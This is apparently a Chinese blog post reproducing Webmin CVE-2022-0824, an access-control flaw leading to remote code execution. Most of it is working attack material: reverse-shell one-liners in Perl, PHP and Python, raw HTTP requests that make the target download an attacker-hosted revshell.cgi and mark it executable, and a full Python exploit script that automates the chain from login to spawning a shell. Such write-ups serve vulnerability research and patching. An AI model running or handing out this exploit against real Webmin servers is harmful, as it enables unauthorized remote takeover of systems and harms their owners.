漏洞介绍

        Webmin 是一个基于 Web 的 Unix 系统管理界面。使用任何现代网络浏览器,您可以设置用户帐户、Apache、DNS、文件共享等等。 在 1.990 之前的 GitHub 存储库 webmin/webmin 中对远程代码执行的访问控制不当。

利用条件

        Webmin < 1.990

漏洞复现

构造反弹脚本,可以为任意语言的反弹脚本,主要根据目标服务器所拥有的语言类型

在具有公网ip的服务器上构建,因为目标服务器需要能够请求到当前服务器进行下载反弹shell脚本

        perl语言构造revshell.cgi

perl -e 'use Socket;$i="your_ip";$p=your_port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

        php语言revshell.cgi

php -r '$sock=fsockopen("your_ip",your_port);exec("/bin/sh -i <&3>&3 2>&3");'

        python语言revshell.cgi

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('your_ip',your_port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

登录后台,默认后台位置/session_login.cgi

 开启http服务,让目标服务器能访问并下载

 利用http_download.cgi下载反弹shell脚本revshell.cgi

POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1
Host: 目标IP:目标PORT
Content-Length: 102
Cache-Control: max-age=0
Origin: http://目标IP:目标PORT
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://目标IP:目标PORT/filemin/?xnavigation=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAyNTMwODE2LCJlbWFpbCI6IiJ9.bl-_YwVMwVGFuO5PPzbFsYmm__OUi6aeu4vqMfcRws8; redirect=1; testing=1; sid=9d210658d27b64961ac8affa8f51427c
Connection: close

link=http%3A%2F%2Fyour_ip%3Ayour_port%2Frevshell.cgi&username=&password=&path=%2Fusr%2Fshare%2Fwebmin

 接收到请求

 利用chmod.cgi给revshell.cgi添加权限

POST /extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30 HTTP/1.1
Host: 目标IP:目标PORT
Content-Length: 67
Cache-Control: max-age=0
Origin: http://目标IP:目标PORT
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://目标IP:目标PORT/filemin/?xnavigation=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAyNTMwODE2LCJlbWFpbCI6IiJ9.bl-_YwVMwVGFuO5PPzbFsYmm__OUi6aeu4vqMfcRws8; redirect=1; testing=1; sid=9d210658d27b64961ac8affa8f51427c
Connection: close

name=revshell.cgi&perms=0755&applyto=1&path=%2Fusr%2Fshare%2Fwebmin

访问http://ip:port/revshell.cgi进行反弹shell

EXP脚本利用

Webmin-CVE-2022-0824-revshell/Webmin-revshell.py at main · faisalfs10x/Webmin-CVE-2022-0824-revshell (github.com)

python脚本工作流程:

        1.在当前目录创建revshell.cgi文件

        2.尝试登录

        3.利用python3在本地开启http服务

        4.目标服务器下载我们服务器上的revshell.cgi文件

        5.修改revshell.cgi文件的权限,让他可以执行

        6.通过http访问revshell.cgi

        7.最后kill掉进程

        至此反弹shell脚本已经上传,需要的话再监听,再访问revshell.cgi

​exp使用:

python3 exp.py -t http://目标IP:目标PORT -c root:password -LS vps_ip:vps_port -L vps_ip -P vps_port

-t    指定目标
-c    账号:密码
-LS   指定开启http服务的ip:port
-L    反弹shell的对象ip
-P    反弹shell的对象port

#!/usr/bin/python3

"""
Coded by: @faisalfs10x
GitHub: https://github.com/faisalfs10x
Reference: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
""" 

import requests
import urllib3
import argparse
import os
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TGREEN =  '\033[32m'
TRED =  '\033[31m' 
TCYAN =  '\033[36m' 
TSHELL =  '\033[32;1m' 
ENDC = '\033[m'

class Exploit(object):
    def __init__(self, target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname):
        self.target = target
        self.username = username
        self.password = password
        self.py3http_server = py3http_server
        self.pyhttp_port = pyhttp_port
        self.upload_path = upload_path
        self.callback_ip = callback_ip
        self.callback_port = callback_port
        self.fname = fname

        #self.proxies = proxies
        self.s = requests.Session()


    def gen_payload(self):
        payload = ('''perl -e 'use Socket;$i="''' + self.callback_ip  + '''";$p=''' + self.callback_port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' ''')
        print(TCYAN + f"\n[+] Generating payload to {self.fname} in current directory", ENDC)
        f = open(f"{self.fname}", "w")
        f.write(payload)
        f.close()

    def login(self):
        login_url = self.target + "/session_login.cgi"
        cookies = { "redirect": "1", "testing": "1", "PHPSESSID": "" }

        data = { 'user' : self.username, 'pass' : self.password }
        try:
            r = self.s.post(login_url, data=data, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
            success_message = 'System hostname'
            if success_message in r.text:
                print(TGREEN + "[+] Login Successful", ENDC)
            else:
                print(TRED +"[-] Login Failed", ENDC)
                exit()

        except requests.Timeout as e:
            print(TRED + f"[-] Target: {self.target} is not responding, Connection timed out", ENDC)
            exit()

    def pyhttp_server(self):
        print(f'[+] Attempt to host http.server on {self.pyhttp_port}\n')
        os.system(f'(setsid $(which python3) -m http.server {self.pyhttp_port} 0>&1 & ) ') # add 2>/dev/null for clean up
        print('[+] Sleep 3 second to ensure http server is up!')
        time.sleep(3) # Sleep for 5 seconds to ensure http server is up!

    def download_remote_url(self):
        download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"
        headers = { 
                    "Accept": "application/json, text/javascript, */*; q=0.01", 
                    "Accept-Encoding": "gzip, deflate", 
                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 
                    "X-Requested-With": "XMLHttpRequest", 
                    "Referer": self.target + "/filemin/?xnavigation=1" 
        }

        data = { 
                'link': "http://" + self.py3http_server + "/" + self.fname, 
                'username': '', 
                'password': '', 
                'path': self.upload_path 
        }

        r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)
        print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")

    def modify_permission(self):
        modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
        headers = { "Referer": self.target + "/filemin/?xnavigation=1" }
        data = { "name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path }
       
        r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)
        print(f"[+] Modifying permission of {self.fname} to 0755")

    def exec_revshell(self):
        url = self.target + '/' + self.fname
        try:
            r = self.s.get(url, verify=False, allow_redirects=True, timeout=3)
        except requests.Timeout as e: # check target whether make response in 3s, then it indicates shell has been spawned!
            print(TGREEN + f"\n[+] Success: shell spawned to {self.callback_ip} via port {self.callback_port} - XD", ENDC)
            print("[+] Shell location: " + url)
        else:
            print(TRED + f"\n[-] Please setup listener first and try again with: nc -lvp {self.callback_port}", ENDC)

    def do_cleanup(self):
        print(TCYAN + '\n[+] Cleaning up ')
        print(f'[+] Killing: http.server on port {self.pyhttp_port}')
        os.system(f'kill -9 $(lsof -t -i:{self.pyhttp_port})')
        exit()

    def run(self):
        self.gen_payload()
        self.login()
        self.pyhttp_server()
        self.download_remote_url()
        self.modify_permission()
        self.exec_revshell()
        self.do_cleanup()


if __name__ == "__main__":

    parser = argparse.ArgumentParser(description='Webmin CVE-2022-0824 Reverse Shell')
    parser.add_argument('-t', '--target', type=str, required=True, help=' Target full URL, https://www.webmin.local:10000')
    parser.add_argument('-c', '--credential', type=str, required=True, help=' Format, user:user123')
    parser.add_argument('-LS', '--py3http_server', type=str, required=True, help=' Http server for serving payload, ex 192.168.8.120:8080')
    parser.add_argument('-L', '--callback_ip', type=str, required=True, help=' Callback IP to receive revshell')
    parser.add_argument('-P', '--callback_port', type=str, required=True, help=' Callback port to receive revshell')
    parser.add_argument("-V",'--version', action='version', version='%(prog)s 1.0')
    args = parser.parse_args()

    target = args.target
    username = args.credential.split(':')[0]
    password = args.credential.split(':')[1]
    py3http_server = args.py3http_server
    pyhttp_port = py3http_server.split(':')[1]
    callback_ip = args.callback_ip
    callback_port = args.callback_port
    upload_path = "/usr/share/webmin"
    fname = "revshell.cgi"

    pwn = Exploit(target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname)
    pwn.run()
Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐